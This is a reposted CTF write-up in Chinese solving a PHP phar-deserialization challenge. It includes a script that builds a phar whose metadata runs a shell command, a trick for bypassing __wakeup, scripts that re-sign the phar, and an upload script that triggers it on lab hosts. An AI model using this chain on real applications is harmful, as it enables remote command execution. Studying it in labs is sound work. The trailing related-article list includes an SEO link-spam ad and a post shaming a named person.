WEEK5|WEB Unserialize Again

news/2025/1/18 13:10:15/文章来源:https://www.cnblogs.com/dghh/p/18338510

进入后是一个文件上传但是这里并没有漏洞点
image

看cookie

image

得到源码

 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{private $user='admin';public $pass;public $eating;public $God='false';public function __wakeup(){$this->user='human';if(1==1){die();}if(1!=1){echo $fffflag;}}public function __construct(){$this->user='AshenOne';$this->eating='fire';die();}public function __tostring(){return $this->user.$this->pass;}public function __invoke(){if($this->user=='admin'&&$this->pass=='admin'){echo $nothing;}}public function __destruct(){if($this->God=='true'&&$this->user=='admin'){system($this->eating);}else{die('Get Out!');}}
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){// $Eden=new story();$pear=$_GET['pear'];$Adam=$_GET['apple'];$file=file_get_contents('php://input');file_put_contents($pear,urldecode($file));file_exists($Adam);
}
else{echo '多吃雪梨';
} 多吃雪梨

先找利用点

system($this->eating);

这一题很明显没有serialize、unserialize
但是我们又要利用反序列化
很明显这一题是phar的反序列化

我们要注意
利用file_exists($Adam);反序列化时我们要绕过__wakeup()

先进行生成.phar文件

<?php
class story{public $eating = 'cat /f*';  //赋值要执行的命令public $God='true';  //满足if条件
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("a.txt", "666");  //添加要压缩的文件
$phar->stopBuffering();

接下来我们修改序列化内容的属性数值以此来绕过__wakeup()

image
如果你用010打开不是这个效果
image

这个地方改为十六进制即可

改完属性值我们的文件签名就废了
需要重新签名

算法
Phar 文件的签名算法有几种可选的类型,每种类型都有不同的安全特性和应用场景。你可以根据具体需求选择合适的签名算法。Phar 提供的签名算法包括:Phar::MD5: 基本的哈希算法,不推荐用于安全敏感的应用,因为 MD5 已被证明不够安全。
Phar::SHA1: 较 MD5 更安全的哈希算法,但在高安全性需求的场景中也已不再推荐使用。
Phar::SHA256: 更加安全的哈希算法,适合大多数应用场景。
Phar::SHA512: 高安全性的哈希算法,适合需要最高安全性的场景。
Phar::OPENSSL: 使用 OpenSSL 库进行签名,支持多种加密算法,可以提供最高的安全性,但需要额外的配置和依赖。
如何判断签名算法是什么我是真不知道 下面是偷的脚本 ``` sha1 from hashlib import sha1 with open('1.phar', 'rb') as file:f = file.read() #打开名为1.phar的文件,以二进制只读模式读取文件内容,并将其存储到变量f中 s = f[:-28] # 获取要签名的数据(s) h = f[-8:] # 获取签名类型和GBMB标识(h) newf = s + sha1(s).digest() + h # 对要签名的数据进行SHA-1哈希计算,并将原始数据、签名和类型/标识拼接成新的数据newf with open('newtest.phar', 'wb') as file:file.write(newf) ``` ``` SHA256 from hashlib import sha256 with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40] #正文部分(除去最后40字节)end=text[-8:] #最后八位也是不变的 new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar) #将新生成的内容以二进制方式覆盖写入原来的phar文件 ``` 脚本上传 ``` import urllib.parse import os import re import requests

url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'
pattern = r'flag{.+?}'
params={
'pear':'hacker1.phar',
'apple':'phar://hacker1.phar'
}

with open('hacker1.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)


from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag{.+?}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#替换为题目靶机地址params={
'pear':'1.phar',
'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28]
h = f[-8:]
newf = s + sha1(s).digest() + h
with open('newtest.phar', 'wb') as file:
file.write(newf)
os.remove('1.phar')with open('newtest.phar','rb') as fi:
f = fi.read()
ff=urllib.parse.quote(f)
# print(ff)
fin=requests.post(url=url+"pairing.php",data=ff,params=params)
matches = re.findall(pattern, fin.text)
for match in matches:
print(match)

os.remove('newtest.phar')

脚本来源
[1](https://blog.csdn.net/m0_73512445/article/details/133694293 "1")
[2](https://blog.csdn.net/2301_76690905/article/details/134315263 "2")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/776608.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PixiJS源码分析系列:第四章 响应 Pointer 交互事件(上篇)

响应 Pointer 交互事件(上篇) 上一章我们分析了 sprite 在 canvasRenderer 上的渲染,那么接下来得看看交互上最重要的事件系统了最简单的 demo 还是用一个最简单的 demo 演示 example/sprite-pointerdown.html 为 sprite 添加一个 pointerdown 事件,即点击事件,移动设备上就…

最新SEO自动外链蜘蛛池工具促进百度快速收录使用方法介绍

此工具集成市面上所有自动外链网站的资源链接,经过合并、去重、筛选、验证 总结出最终的外链资源 ,软件实时更新本软件将您繁杂的外链推广转为自动化进行,并且加入站群的支持,您只需要将你的站群域名粘贴到软件里,点击开始按钮就可以了软件会自动轮刷您的每一个网站软件效…

Markdown入门指南

Markdown入门指南HelyaHsiung2021.9.27SRE IN UESTC1.The Title of Markdown (1) Denote title using = or - First title ===========Second title -----------(2) Denote title using # # First title ## Second title ### Third title #### Fourth title ##### Fifth titl…

BGP属性 ASPath

BGP属性 ASPath AS_PATH 属性 BGP路由的必遵属性; AS间防环属性; 用于BGP路由的路径选择,当经过多条路径到达莫网络的情况,会选择经过ASpath 较少的作为最优; 顺序的记录了某条BGP路由所经过的AS信息,每经过一个AS会在ASPath 属性的最左边…

功能强大的电路设计与仿真软件Multisim 14.3安装教程

一款功能强大的电路设计与仿真软件Multisim是一款强大的电子电路仿真软件,广泛应用于电子工程和教育领域。本教程全面细致地解析了原理图设计、电路仿真以及虚拟仪器测试等核心功能,通过友好易学的界面设计,为用户打造了一款高效便捷的电路设计和分析工具,助您轻松掌握电路…

图书《数据资产管理核心技术与应用》分享

《数据资产管理核心技术与应用》是由清华大学出版社出版的一本图书,该图书主要特点如下: 1、依托于大数据技术,独家加密数据血缘的底层技术实现 2、详解数据资产管理的知识体系和核心技术 3、应用元数据管理和数据建模技术,充分发挥出数据资产的更大潜力和价值。 4、全书从…

山东省威海市台依村,杨文召——老赖!!!

山东省威海市台依村,杨文召——老赖!!!认识下老赖的家人!!!

MQ高级

消息的可靠性:一个消息发送出去以后至少被消费一次 丢失场景:消息发送时候丢失,mq崩了消息丢失,消费者把消息搞丢了(交易服务) 解决方法针对以上三个场景和兜底方案 1、发送者可靠性 消息从生产者到消费者的每一步都可能导致消息丢失: - 发送消息时丢失: - 生产者发送…

VitePress安装总结

1、安装node.js 2、安装vscode,并在扩展中安装markdown插件 3、在vscode的终端中修改淘宝镜像源:1npm config set registry https://registry.npmmirror.com4、在终端中输入1npm add -D vitepress5、在D盘创建文件夹,右键用vscode打开,或在vscode中打开文件夹 6、在终端中执…

哪位大佬知道为啥最后计数是0吗? 实际是有数据的

大家好,我是Python进阶者。 一、前言 前几天在Python白银交流群【Jethro Shen】问了一个Python数据处理的问题,问题如下:哪位大佬知道为啥最后计数是0吗?实际是有数据的二、实现过程 这里【瑜亮老师】给了一个指导,如下所示:这不是发生错误了么?你设置的发生错误return …

JDK、JRE和JVM简述

JDK(Java Development Kit) JDK是Java开发环境的核心组件,包括:Java编译器、JRE(Java运行环境)JavaDoc文档生成器和其他一些工具。 JDK是Java程序员开发Java应用程序所必需的软件包。 JRE(Java Runtime Environment) 也称为Java运行环境,它是Java应用程序运行的基础。…

PGjdbc源码试读(二)

本期目标 追踪Connection.createStatement() Statement.executeUpdate(String sql)追踪 Connection.createStatement() 在PgConnection中找到createStatement()方法:该方法调用了同名方法,并传递了两个参数,查询两个常量的注释:TYPE_FORWARD_ONLY 表示返回的集合ResultSet只…